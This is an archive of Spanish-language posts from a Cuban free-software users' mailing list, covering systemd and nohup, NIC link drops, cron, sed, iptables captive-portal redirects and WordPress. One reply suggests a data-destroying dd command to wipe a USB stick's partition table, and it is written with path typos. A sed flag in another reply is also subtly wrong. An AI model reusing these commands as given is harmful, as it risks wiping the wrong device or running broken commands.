On Mon, 18 Jul 2016 18:57:51 -0400, låzaro wrote: no veo tu necesidad de usar systemd-run, por que no usas una unit normal (no oneshot) Errata: En realidad lo estoy lanzando así (se me olvidó poner la parte relacionada con el tipo): sudo /usr/bin/systemd-run --service-type=oneshot /usr/bin/nohup /usr/local/bin/elscript > /dev/null & Imagino que funcione en primer lugar porque nohup está diseñado para lanzar procesos de fondo, y quizás por haber deshabilitado antes la preferencia de terminar procesos de fondo. Pero la verdad que systemd cada vez se mete mas en lo que no le corresponde, en este caso solo porque Gnome no se comportaba correctamente (nada raro) rompió la compatibilidad con el funcionamiento estándard de programas como nohup. Hay quienes dicen que dentro de poco tendrán que integrarlo en libc. A veces me pregunto si tendré que mudarme a BSD. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] OT: prueba envio de paloma mensajera
On Tue, 19 Jul 2016 01:07:42 +0200, Manuel Mely wrote: Esto es una paloma enviada desde bien lejos a ver si llega o es cazada antes de llegar a su destino :) Parece que finalmente los cazadores estan ocupados en piezas mayores. O también podría ser simplemente que no les asignaron petróleo para sus 4x4 ;) -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] systemd y script con nohup
On Mon, 18 Jul 2016 18:57:51 -0400, låzaro wrote: no veo tu necesidad de usar systemd-run, por que no usas una unit normal (no oneshot) Hmm.. preferiría ahorrarme tener que escribir una unit. Para que me entiendas mejor: Tener que crear una unit solo para lanzar un script me molesta tanto como (si mi memoria no me falla) a ti estar obligado a usar una función main en C y derivadas. ;) Creo que finalmente resolví así: sudo systemd-run nohup /usr/local/bin/elscript > /dev/null & Hasta ahora no se ha detenido el proceso, y los hackers estan siendo mantenidos a raya :) -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Fw: Una vulnerabilidad de más de 20 años en Windows [Hispasec @unaaldia]
On Mon, 18 Jul 2016 15:25:19 -0400, Ulises Gonzalez wrote: On 07/18/2016 02:14 PM, låzaro wrote: [watering_hole_blog] Investigadores de Vectra Networks han descubierto una vulnerabilidad que llevaba 20 años escondida en los sistemas operativos de Microsoft, desde la época de Windows 95. El problema reside en el software Windows Print Spooler (cola de impresión Windows) encargado de la administración de impresoras disponibles y la impresión de documentos. jajajaj, para que luego digan que Windows 7 fue reescrito desde cero... ¿Por que no? Todo depende de la interpretación de "desde cero" que uno tenga. Puede que para Microsoft, el proceso de copiar código de una unidad vieja en una nueva agregando algunos cambios cosméticos se considere una reescritura desde cero. ;) Según las malas lenguas era una práctica común en los tiempos en que Billy the Kid y colegas buscaban trozos de código en los cestos de basura de IBM y otras poderosas, quizás su intepretación de este término comenzó en aquel momento y simplemente quedó para la posteridad, buajajajaja! (lease como risa malévola). -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Ayuda con script
On Mon, 18 Jul 2016 16:19:00 +0200, Yamilet wrote: Hola listeros necesito crear un script que me premita descargar actualizaciones para antivirus y esto lo haria desde un sitio interno que no requiere proxy y otro del que si requiero proxy por favor ayudenme?? Esto me recuerda un poco la fábula de Esopo sobre Hércules y el carretero, jeje. A ver, ¿que has adelantado hasta ahora? Al menos, podrías proporcionar algunos detalles, por ejemplo: ¿Que herramienta pretendes usar para descargar las actualizaciones, que estructura tienen (¿son muchos archivos sueltos o uno solo comprimido?), en que tipo de protocolo se hospedan, que shell utilizas en el equipo del cual pretendes descargarlas?, etc. Claramente que todo esto es obvio para ti, pero nosotros aun no podemos leer las mentes ;) -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] systemd y script con nohup
On Mon, 18 Jul 2016 14:15:27 -0400, låzaro wrote: debes crear una unit del tipo OneShoot No me parece lo que busco. oneshot: This type indicates that the process will be short-lived and that systemd should wait for the process to exit before continuing on with other units. This is the default when Type= and ExecStart= are not set. It is used for one-off tasks. Después de leer un poco más la documentación, creía que un posible sustituto de una típica invocación de un script persistente mediante nohup podría ser este: systemd-run --service-type=forking /usr/local/bin/elscript > /dev/null Sin embargo tras unas pruebas, parece que systemd también lo termina tras unos minutos. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Ayuda urgente
Echa una ojeada al tutorial de NSD que puse en la wiki [1] que aunque no sea especificamente sobre bind, ahi explico bien la configuracion de las zonas. Saludos, Hugo PD. En el futuro, ponle un asunto mas descriptivo a tus mensajes, no siempre uno tiene tiempo para abrir todo lo que simplemente dice "ayuda". [1] https://gutl.jovenclub.cu/wiki/doku.php?id=tutoriales:nsd_como_alternativa_a_bind -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] systemd y script con nohup
Hola colegas, Hace poco me mordió el perro de systemd >= v230 terminando por defecto tareas de fondo. Sucede que a raiz de unos intentos de hackeo a una wifi, decidí preparar un script que realiza regularmente ciertas verificaciones, y pretendía que corriera permanentemente lanzándolo con nohup. Desafortunadamente, systemd comenzó a cerrar el script y aunque ya descomenté KillUserProcesses=no en /etc/systemd/logind.conf, me gustaría saber cual sería la forma "correcta" de lanzar un script persistente según systemd, quizás mediante una unit. Como el cambio de política de systemd es relativamente reciente, no hay aun mucha información actualizada al respecto en internet. Tengo entendido que de no tocarse /etc/systemd/logind.conf podría evitarme usar una unit y al mismo tiempo ver cualquier error si lanzo el proceso así: systemd-run nohup elscript > /dev/null & Pero igual para tener la info completa me gustaría saber como preparar una unit. El script en cuestión corre usando dash y solo revisa regularmente las trazas de iptables y de encontrar alguna mac que no haya recibido un lease en el dhcp, la banea mediante arptables (ebtables finalmente no me funcionó). Todo esto es en Debian Jessie x86-64. Saludos, Hugo -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] USB y proteccion contra escritura
On Mon, 11 Jul 2016 12:22:41 -0400, co...@crearq.co.cu wrote: Hola Como puedo quitarle la protección contra escritura a un usb kingston de 32gb el sistema de archivos que tiene es ntfs, las soluciones que he visto es para windows y yo uso linux. Alguna herramienta ?? He buscado pero nada, tengo Debian 8 Salu2 Asumiendo que la memoria no ha alcanzado la capacidad de ciclos de escritura de su vida útil (que parece ser el caso), podrías intentar recuperarla con dd Por ejemplo, si tu sistema detecta la memoria como /dev/sdb1, podrías hacer algo como esto: sudo umount /dev/sdb1 sudo dd if=dev/zero of=/devsdb bs=1M count=16 && sync Con esto deberías eiminar la tabla de particiones, y la memoria debería quedar lista para formatearla de la manera que elijas. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] problema con ebtables
Hola, colegas. Hace un momento intentaba probar una regla como esta: sudo ebtables --concurrent -A FORWARD -i eth1 -d 0a:1b:2c:3d:4e:5f -j DROP Sin embargo, observen la salida de error del comando: Unable to update the kernel. Two possible causes: 1. Multiple ebtables programs were executing simultaneously. The ebtables userspace tool doesn't by default support multiple ebtables programs running concurrently. The ebtables option --concurrent or a tool like flock can be used to support concurrent scripts that update the ebtables kernel tables. 2. The kernel doesn't support a certain ebtables extension, consider recompiling your kernel or insmod the extension. La primera causa posible sencillamente no es el caso. No solo ejecutaba la única instancia de ebtables, sino que como ven, utilicé además el parámetro de concurrencia. En cuanto a la segunda posible causa, no creo que esa línea utilice ninguna extensión de ebtables. De todas maneras, para cerciorarme, ejecuté el comando más sencillo que se me ocurrió: sudo ebtables -P INPUT ACCEPT Aun con algo que supuestamente no usa nada más que funcionalidad integrada por defecto, el comando falla con el mismo mensaje de error anterior. Ignoro que puede estar pasando, probablemente en alguna actualización del kernel surgió alguna incompatibilidad con ebtables, me interesaría conocer si esto mismo ocurre en otras distribuciones. Esta es la salida de mi `uname -a`: Linux $MIHOSTNAME 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2+deb8u2 (2016-06-25) x86_64 GNU/Linux Y esta es la salida de `ebtables -V` ebtables v2.0.10-4 (December 2011) P.D. Mi impresión es que aunque Debian recientemente habrá ganado algo de frescura, también ha perdido calidad desde que renunciaron al principio de liberar paquetes en la rama estable solo cuando estén todos razonablemente probados y listos. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Una duda de wordpress
On Fri, 8 Jul 2016 11:38:33 -0400, Ulises Gonzalez wrote:
Hola
Tengo un sito web hecho en Wordpress, para mantener el inventario de
unas m'aquinas, pero el administrador anterior no dej'o un how-to de
como usar el sitio y me dieron la tarea de administrar el sitio y
adicionar nuevas m'aquinas, de momento he reseteado la clave de
administrador de Wordpress, tambi'en tengo acceso a la base de datos
que esta referenciada en el archivo wp-settings.php de la raiz de
wordpress, pero para mi sorpresa ya he buscado en toda la base de
datos que por suerte es pequenha pero no veo nada de la informaci'on
que muestra el sitio, alguna idea de donde buscar o que debo hacer,
he
intentado editar las p'aginas desde la administraci'on de Wordpress,
pero no he logrado ver el c'odigo de ninguna p'agina por lo cual no
se
de donde esta sacando la info que muestra el sito
Alguna idea?? todo es bienvenido
Normalmente las entradas van en una tabla llamada ${prefijo}_posts
donde ${prefijo} es usualmente wp, pero hay plugins que permiten
cambiarlo.
Si el contenido no está ahí, puede que lo hayan agregado en archivos
estáticos (es atípico pero wordpress también lo permite), prueba
haciendo un grep.
--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] duda sobre enlace cayendose
Update: comparto aquí algunas novedades en caso que puedan resultar
útiles para alguien con un problema similar.
Después de algunas búsquedas, descubrí en un bug de launchpad [1] que
aparentemente el firmware de Broadcom tiene sus problemas con el
highdma.
Primero verifiqué si era mi caso:
sudo ethtool -k eth1 | grep highdma
Efectivamente, el valor venía activado por defecto, así que pasé a
desactivarlo:
sudo ethtool -K eth1 highdma off
En el caso de Broadcom, los cambios aparentemente no persisten al
reiniciar, de modo que agregué un archivo de reglas de udev como
sugieren, adaptándola a la combinación VENDOR:DEVICE de mi equipo, este
es el contenido:
ACTION=="add", SUBSYSTEM=="net", ATTRS{vendor}=="0x14e4",
ATTRS{device}=="0x1655", RUN+="/sbin/ethtool -K %k highdma off"
Al menos hasta el momento, el error no ha vuelto a ocurrir, esperemos
que siga así.
Saludos, Hugo
https://bugs.launchpad.net/bugs/1447664
--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] duda sobre enlace cayendose
On Mon, 4 Jul 2016 19:56:29 -0400, låzaro wrote: mira a ver que módulo se usa como driver de la red, ponlo en lista negra y con suerte, cargará otro Si fuese el caso, fallaría para ambas interfaces por igual, pero rara vez sucede algo asi con eth0 Revisa el cron! No sea que tengas algo que involucre reiniciar networking o algo así De hecho puede que un script que tengo esté influyendo, ya sustituí unas líneas a ver que pasa. Lo que me llama la atención es que antes el script estaba corriendo igual y este problema no parecía ocurrir, me mantendré revisando los logs a ver si la cosa mejora. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] duda sobre enlace cayendose
On Mon, 4 Jul 2016 16:40:11 -0400, Arian Molina Aguilera wrote: [...] Comprueba que características tiene habilitada la nic con ethtools, y desactiva la que no creas necesario o no tengas soporte. Y nos cuentas si el problema se soluciono. Bueno, de momento he deshabilitado EEE y WOL, pero no se que otra cosa podría sobrar porque no estoy aun familiarizado con ethtool. Alguna sugerencia de valores concretos que verificar y posiblemente deshabilitar? En cuanto a la actividad, eth1 está conectada directamente al modem-router y el enlace tiene 512 kbps, asi que dudo que el tráfico por ahi sea superior al de eth0. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] duda sobre enlace cayendose
Update: el problema ocurre principalmente de madrugada, pero no exclusivamente. Tendré que revisar bien los cables (quizas poner puntas nuevas) para descartar. @ELAV: Negativo colega, la cosa no es con el enlace interno (que esta razonablemente bien cubierto por mis reglas de iptables) sino con el externo. Incluso como se que los routers son vulnerables porque Etecsa les pone claves comunes, tomé algunas medidas y desde el propio router es imposible acceder al cortafuegos o a la red, salvo para devolver echo-reply, destination-unreachable, time-exceeded o parameter-problem, y esto si realmente tienen los estados RELATED o ESTABLISHED, y con límites tanto en tamaño del paquete como en la tasa de transferencia (llámenme paranoico si quieren, pero prefiero no jugármela). Pero se que Etecsa de vez en cuando hace modificaciones remotamente, de ahi mi pregunta. @Arian: Pues después de hacer unas búsquedas y ver que los server HP pueden tener problemas (este es un Proliant), instalé el paquete firmware-linux-nonfree después del upgrade (había olvidado mencionarlo), y recientemente volvió a ocurrir lo mismo de todas formas. Lo curioso es que el enlace eth0 no está dando el mismo problema, y se supone que sea el mismo tipo de hardware, porque ambas interfaces vienen integradas de serie en este hardware. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Una de Cron
Personalmente evito los scripts que crean archivos intermedios, pero indudablemente que hacer un arreglo permite prever días festivos y otras eventualidades. El inconveniente es que lograr ese nivel de detalle generalmente implica intervención del usuario, y esto crea un riesgo de vulnerabilidad de capa 8 ;) -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] duda sobre enlace cayendose
On Sun, 3 Jul 2016 16:21:31 -0400, låzaro wrote: socio eso suena a palo de hardware o a cable con falso contacto cambiaste el cable? Realmente no, pero lo extraño es que suceda solo durante la madrugada. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Una de Cron
On Fri, 01 Jul 2016 16:14:30 -0400, Alberto José García Fumero wrote:
El vie, 01-07-2016 a las 11:24 -0400, Yoandy Madrazo Gómez escribió:
Hay alguna forma de ejecutar un script el primer día laborable de
cada
mes?? Es para un sistema de salvas con backuppc.
Saludos, Yoandy
Guarda en un arreglo del script el listado de los días laborables, y
haz
que el script compruebe cada día si la fecha se corresponde... ;-)
Digo yo...
Bueno, esa sería una forma pero realmente no es necesario llenar un
arreglo con los días laborales del mes.
La solución que puse antes no cubría el caso de que el primer día del
mes no sea lunes, así que por mero ejercicio intelectual hice el
siguiente script:
#! /bin/sh
# Obtener el número del día en el mes
DIAMES=$(expr `date +%d` + 0)
# Obtener el número del día en la semana, del 1 al 7 (1 es lunes).
DIASEM=$(expr `date +%u` + 0)
# Variable para evaluación final
PRIMERDIALABORAL=0
# Evaluación para establecer el valor de la variable
if [ ${DIAMES} -eq 1 ]; then
if [ 6 -gt ${DIASEM} ]; then
PRIMERDIALABORAL=1
fi
elif [ ${DIAMES} -le 3 ]; then
if [ 2 -gt ${DIASEM} ]; then
PRIMERDIALABORAL=1
fi
fi
# Evaluar el valor de la variable
if [ ${PRIMERDIALABORAL} -eq 1 ]; then
echo "Depuración: Este es el primer día laboral del mes."
# Insertar aqui las acciones a tomar
else
echo "Depuración: Este no es el primer día laboral del mes."
fi
exit 0
Noten que como mis sistemas no corren bash por defecto sino dash, en lo
posible prefiero evitar las comparaciones de igualdad y favorezco las
comparaciones por valores numéricos para que mis scripts sean más
portables, pero obviamente que esto es una preferencia personal.
Saludos, Hugo
--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] duda sobre enlace cayendose
Hola colegas, Esta madrugada tenía programado un script de lftp y estaba fallando, cuando me puse a ver las trazas observen que cosa curiosa me devolvio dmesg (eth1 es la salida al modem-router): [ 53.018980] tg3 :03:00.1 eth1: Link is down [ 79.208284] tg3 :03:00.1 eth1: Link is up at 100 Mbps, full duplex [ 79.208288] tg3 :03:00.1 eth1: Flow control is on for TX and on for RX [ 79.208290] tg3 :03:00.1 eth1: EEE is disabled [ 138.074896] tg3 :03:00.1 eth1: Link is down [ 164.243009] tg3 :03:00.1 eth1: Link is up at 100 Mbps, full duplex [ 164.243013] tg3 :03:00.1 eth1: Flow control is on for TX and on for RX [ 164.243014] tg3 :03:00.1 eth1: EEE is disabled [ 223.645947] tg3 :03:00.1 eth1: Link is down [ 249.901088] tg3 :03:00.1 eth1: Link is up at 100 Mbps, full duplex [ 249.901093] tg3 :03:00.1 eth1: Flow control is on for TX and on for RX [ 249.901095] tg3 :03:00.1 eth1: EEE is disabled Por algún motivo esto estuvo ocurriendo entre las 2 y las 6 AM, luego se normalizó, pero no se si fue espontáneamente o después de haber hecho un upgrade, cosa que decidí como medida preventiva a raíz del fallo, y bueno también había desinstalado sysstat y por si acaso deshabilité EEE con ethtool, pero francamente dudo que estos hayan sido los causantes. No habían tareas ejecutándose que consuman significativamente el enlace, salvo exim y el script de lftp; además, el equipo tiene buena capacidad de micro y memoria así que tampoco es por falta de recursos. Ahora que lo pienso sí tengo un script que revisa cada unos minutos cualquier intento de acceso desde eth0 sin haber pasado primero por dhcp, en cuyo caso pone la mac en lista negra y hace un service networking reload, no se si esto influirá, pero en días pasados no existía este problema. ¿A alguien le ha ocurrido algo parecido? Puede darse el caso que el enlace se caiga por trasteos en el modem-router por parte del ISP o un posible hacker? Por cierto, el equipo corre con Debian Jessie x86_64 Saludos, Hugo -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Una de Cron
On Fri, 1 Jul 2016 11:24:26 -0400, Yoandy Madrazo Gómez wrote: Hay alguna forma de ejecutar un script el primer día laborable de cada mes?? Es para un sistema de salvas con backuppc. Saludos, Yoandy Podrías hacerlo en crontab con algo como esto (para el primer lunes de cada mes): * * 1-7 * mon elusuario /la/ruta/al/script -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Cambiar nombre a la pc
On Mon, 16 Feb 2015 09:50:42 -0500, Alejandro wrote: Edita el archivo: /etc/hostname Puede que también necesites modificar /etc/hosts y si el equipo es un servidor, quizas /etc/mailname y revisar la configuración del DNS y otros servicios. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] root linux
On Fri, 1 Jul 2016 12:46:11 -0400, låzaro wrote: butea otro linux en caliente monta el disco duro de este chroot /punto/de/montate passwd Así que "butea" no? jejeje 'tas acabando con Cervantes y Shakespeare a la vez ;) -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con sed o perl
On Fri, 01 Jul 2016 10:42:00 -0400, Lic. Juan Miguel Perez Fauria wrote: Hola lista tengo un listado enorme para subir a una bd mysql pero logre hacer el listado y entre las columnas existe un tabulado y necesito cambiarlo por un espacio normal como se haria con sed o con perl es lo que no tengo ni idea aqui va un ejemplo Tengo esto ( 2, 1, '2','2015-07-01', 'X','XX', 'XX', 'XX', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'baja', NULL, 'Administrador','2016-06-30 14:34:15' NULL, NULL), ( 3, 1, '3','2015-07-07', 'XXX', 'XX', 'XX', 'X','XX', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'baja', NULL, 'Administrador','2016-06-30 14:34:15' NULL, NULL), Y NECESITO QUE QUEDE ASI (2, 1, '2', '2015-07-01', 'X', 'XX', 'XX', 'XX', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'baja', NULL, 'Administrador', '2016-06-30 14:34:15' NULL, NULL), (3, 1, '3', '2015-07-07', 'XXX', 'XX', 'XX', 'X', 'XX', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'baja', NULL, 'Administrador', '2016-06-30 14:34:15' NULL, NULL), TIENEN ALGUNA IDEA En sed yo haría algo como esto: sed -ir 's/,\s*\t+\s*/, /g' elarchivo.sql De esta forma cubro cualquier posibilidad de que haya más de un tabulador consecutivo, o un espacio al lado de un tabulador. Ahora, para sustituciones de un solo caracter hay una variante más rápida usando tr, de modo que si no hay ningún tabulador en los propios campos, también podrías usar algo como esto: cat elorigen.sql | tr '\t' ' ' > eldestino.sql -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] redireccionar peticiones hacia una web especifica(emular portal cautivo)
On Mon, 27 Jun 2016 15:26:17 -0400, Juan Pérez R wrote: El 23/6/16, Carlos Cesar Caballero Díaz escribió: Hola colega, por ak hay muchos mas experimentados que yo en estos asuntos, pero como pie forzado, podría servir algo así montando iptables: iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80 eso mismo le había comentado a hugo en el foro pero me queda la duda que eso trabaje como un bucle porque entiendo que esa regla redireccionaría todo el trafico hacia la ip donde estaria alojada la web (y que pasa con el trafico una vez que ya se haya accedido a la web? se redireccionaria tambien ??) Depende de lo que pretendas hacer. Supongamos que el dns estará en el propio cortafuegos que es 192.168.0.1, pero la web está en 192.168.1.50, y digamos que eth0 es la interfaz donde estan los clientes. Algo como esto debería funcionarte. iptables -t nat -A PREROUTING -i eth0 ! -d 192.168.0.1 -p udp -m udp --dport 53 -m conntrack --ctstate NEW -j DNAT --to-destination 192.168.0.1:53 iptables -t nat -A PREROUTING -i eth0 ! -d 192.168.1.50 -p tcp -m multiport --dports 80,443 -m conntrack --ctstate NEW -j DNAT --to-destination 192.168.1.50 Aqui las reglas solo redireccionan lo que tenga un destino diferente, los paquetes con el destino correcto pasaría sin interferencia alguna del DNAT. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Mensajes duplicados en la lista
On Sat, 25 Jun 2016 05:45:54 -0500, Ernesto Acosta wrote: Hola Lista. Me están llegando mensajes duplicados otriplicados, que se yo. El punto es que hoy amanecí con 1918 mensajes nuevos que estaban duplicados.. ¿A alguien más le pasa lo mismo? A mi me han entrado algunos repetidos, pero ni por asomo tantos como a ti. De hecho incluso con las repeticiones más bien me han entrado pocos mensajes de la lista, alrededor de 100 en varios días. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] se rpt la historia
On Thu, 23 Jun 2016 11:58:07 +0800, Raphael Burquet wrote: hola peopla la pag http://gutl.jovenclub.cu/ no deja loguearme para postear, una vez lo arreglaron y ahora vuelve a las mismas saludos cordiales Intenta entrando por el foro, es posible que tengas pendiente un cambio de clave programado. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] redireccionar peticiones hacia una web especifica(emular portal cautivo)
On Thu, 23 Jun 2016 12:06:26 -0400, Carlos Cesar Caballero Díaz wrote: Hola colega, por ak hay muchos mas experimentados que yo en estos asuntos, pero como pie forzado, podría servir algo así montando iptables: iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80 Saludos. Envié un mensaje que por algún motivo no ha llegado. En el foro alguien preguntó esto mismo y puse algunos detalles para la posteridad, quizas otros deseen aportar y en su momento podría pasarse a la Wiki. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
